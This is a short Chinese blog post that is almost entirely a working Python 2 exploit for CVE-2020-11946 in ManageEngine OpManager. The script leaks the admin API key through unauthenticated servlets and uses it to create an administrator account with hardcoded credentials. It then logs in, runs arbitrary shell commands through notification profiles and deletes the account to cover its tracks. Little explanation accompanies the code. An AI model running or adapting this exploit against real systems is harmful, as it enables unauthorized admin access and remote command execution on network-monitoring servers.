CVE-2020-11946 ManageEngine OpManager 命令執行

愛夕發表於2020-12-30

修正原始Exp部分內容 成功復現版本 124042

#!/usr/bin/python2

import requests
import sys
import urllib3
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class OpManagerExploit():
    def __init__(self,url):
        self.url = url
        self.ver = None
        self.api_key = False

    def FindVer(self):
        ver_req = requests.get(self.url+'/js/%2e%2e/html/About.properties',verify=False,allow_redirects=False)
        if ver_req.status_code != 200:
            print '[-] Unexpected response to fingerprinting request, Bailing.'
            return False
        if ver_req.text.find('BUILD_NUMBER') == -1 or ver_req.text.find('BUILD_VERSION') == -1:
            print '[-] Unable to read OpManager version, Bailing'
            return False
        t = ver_req.text
        self.ver = int(t[t.find('BUILD_NUMBER')+13:t.find('\n',t.find('BUILD_NUMBER'))].strip())
        print '\n[+] Build version of opManager is {}'.format(self.ver)
        print '[+] Found OpManager Version {}'.format(t[t.find('BUILD_VERSION')+13:t.find('\n',t.find('BUILD_VERSION'))].strip())
    
    def LeakApiKey(self):
        if self.ver >= 123127:
            leak_d = {'reqFrm':'fwacs','key':'true','user':'admin','process':'apikey'}
            leak_r = requests.post(self.url+'/servlet/sendData',verify=False,data = leak_d)
            if leak_r.status_code != 200:
                print '[-] Failed to extract API KEY.'
                return False
            
            if leak_r.text.find('key=Start') == -1:
                print '[-] Invalid response in LeakApiKey()'
                return False
            
            d = leak_r.text
            api_key = d[d.find('key=Start',d.find('key=Start')+11)+10:].strip()
            print '[+] Got API Key {}'.format(api_key)
            return api_key
        else:
            leak_d = {'action':'getAPIKey'}
            leak_r = requests.post(self.url+'/oputilsServlet',verify=False,data = leak_d)
            if leak_r.status_code != 200:
                print '[-] Failed to extract API KEY.'
                return False
            d = leak_r.text
            if d.find('API_KEY=') == -1:
                print '[-] Failed to extract API key'
                return False
            api_key = d[d.find('API_KEY=')+8:d.find('\n',d.find('API_KEY='))]
            print '[+] Got API Key {}'.format(api_key)
            return api_key

    def AddUser(self,interact=False):
        
        if self.api_key is False:
            print '[+] Leaking API key to add a new user'
            self.api_key = self.LeakApiKey()
            if self.api_key is False:
                print '[-] Failed to leak api to add a user'
                return False
        
        if interact == True:
            username = raw_input('Username > ')
            password = raw_input('Password > ')
        else:
            username = 'support@localhost.net'
            password = 'P@ssw0rd'
        
        print '[+] Adding a new admin user'
        add_d = 'apiKey='+self.api_key+'&userName='+username+'&privilege=Administrators&password='+password+'&emailId='+username+'&tZone=null'
        print "url: {}, add_d: {}".format(self.url, add_d)
        add_r = requests.post(self.url+'/api/json/v2/admin/addUser?'+add_d,verify=False,headers={'Accept':'application/json'})
        if add_r.status_code != 200:
            print '[-] Failed to add a new user, invalid response'
            return False
        else:
            try:
                resp = json.loads(add_r.text)
            except:
                print '[-] Failed to add user, Invalid response data'
                print "add_r: {}".format(add_r.content)
                return False
            if resp.keys()[0] == 'error':
                print '[+] Error {} while adding user'.format(resp['error']['message'])
                return False
            else:
                print '[+] Success, Response from server: {}'.format(resp['result']['message'])
                return True
    
    def DeleteUser(self,interact=False):
        if self.api_key is False:
            print '[+] Leaking API key to delete a user'
            self.api_key = self.LeakApiKey()
            if self.api_key is False:
                print '[-] Failed to leak api to delete a user'
                return False
        if interact == True:
            username = raw_input('Username to delete> ')
        else:
            username = 'support@localhost.net'
        
        users_list = requests.get(self.url+'/api/json/nfausers/getAllUsers?apiKey='+self.api_key,verify=False).text
        try:
            usl = json.loads(users_list)
        except:
            print '[-] Failed to obtain user list'
            return False
        
        user_id = None
        for u in usl:
            if u['uName'] == username:
                user_id = int(u['uID'])
                print '[+] Found user id {}'.format(user_id)
                break
        
        if user_id is None:
            print '[-] Username not found '
            return False
        
        del_r = requests.post(self.url+'/api/json/admin/deleteUser?'+'apiKey='+self.api_key+"&userName"+username,data={"userName":username},verify=False)
        if del_r.status_code == 200:
            print '[+] User deleted successfully'
            return True
        else:
            print '[-] User deletion Failed.'
            return False

    def ExecuteCommand(self):
        if self.api_key is False:
            print '[+] Leaking API key for RCE'
            self.api_key = self.LeakApiKey()
            if self.api_key is False:
                print '[-] Failed to leak api for RCE'
                return False
        if self.AddUser() is False:
            print '[-] Failed to add user for RCE'
            return False
        
        print '[+] Loggin in with the added user'
        proxies={'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'}
        login_dat = {'AUTHRULE_NAME':'Authenticator','clienttype':'html','ScreenWidth':'1920','ScreenHeight':'602','loginFromCookieData':'false','ntlmv2':'false','j_username':'support@localhost.net','j_password':'P@ssw0rd','signInAutomatically':'on','uname':''}
        sess = requests.Session()
        headers = {'Content-Type': 'application/x-www-form-urlencoded'}
        sess.get(self.url+'/apiclient/ember/Login.jsp',verify=False,allow_redirects=False)
        login_r = sess.post(self.url+'/apiclient/ember/j_security_check',headers=headers,data=login_dat,verify=False)
        #print login_r.text
        if login_r.status_code != 200 :
            print '[+] Login Failed...'
            self.DeleteUser()
            return False
        
        print '[+] Login Successful.'

        command = raw_input('Command to execute> ')
        if self.ver > 123127:
            cmd_d = {'append':'true','command':command,'selectedseverities':'1,2,3,4','checkedhardwareMonitor':'true','selectAllhardwareMonitor':'true','selectedDevicesStr':'127.0.0.53','twoption':'All','profileType':'Run System Command','name':'POP'}
            #headers = {'X-ZCSRF-TOKEN': 'opmcsrftoken='+sess.cookies.get_dict()['opmcsrfcookie']}
            cmd_r = sess.post(self.url+'/client/api/json/admin/testNProfile',headers=headers,verify=False,data=cmd_d,allow_redirects=False,proxies=proxies)
        else:
            cmd_d = {'command':command,'selectedseverities':'1,2,3,4','checkeddevicemissespolls':'true','noofpolls':'1','deviceCategory':'iv_12','twoption':'All','profileType':'Run System Command','name':'as'}
            cmd_r = sess.post(self.url+'/api/json/admin/testNProfile?apiKey='+self.api_key,verify=False,data=cmd_d,allow_redirects=False,proxies=proxies)
        try:
            output = json.loads(cmd_r.text)
        except:
            print '[-] Invalid Response data from RCE request'
            self.DeleteUser()
            return False
        if output.keys()[0] == 'result':
            print '[+] Command successfully executed: {}'.format(output)
        print '[+] Done with RCE, Cleaning up user'
        self.DeleteUser()
        return True

    def Exploit(self):
        print '[+] Starting Exploit\n[+] Please choose operation'
        print '\t1) Execute Shell Command\n\t2) Add an admin user\n\t3) Delete a user\n\t4) Leak admin API Key'
        ch = raw_input("Choice> ")
        if ch == '1':
            self.ExecuteCommand()
        elif ch == '2':
            self.AddUser(interact=True)
        elif ch == '3':
            self.DeleteUser(interact=True)
        elif ch == '4':
            self.LeakApiKey()
        else:
            print '[-] wth is {}'.format(ch)

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print '[+] Usage: {} <url>'.format(sys.argv[0])
        exit(1)
    ex = OpManagerExploit(sys.argv[1].strip())
    if ex.FindVer() == False:
        exit(1)
    
    ex.Exploit()

相關文章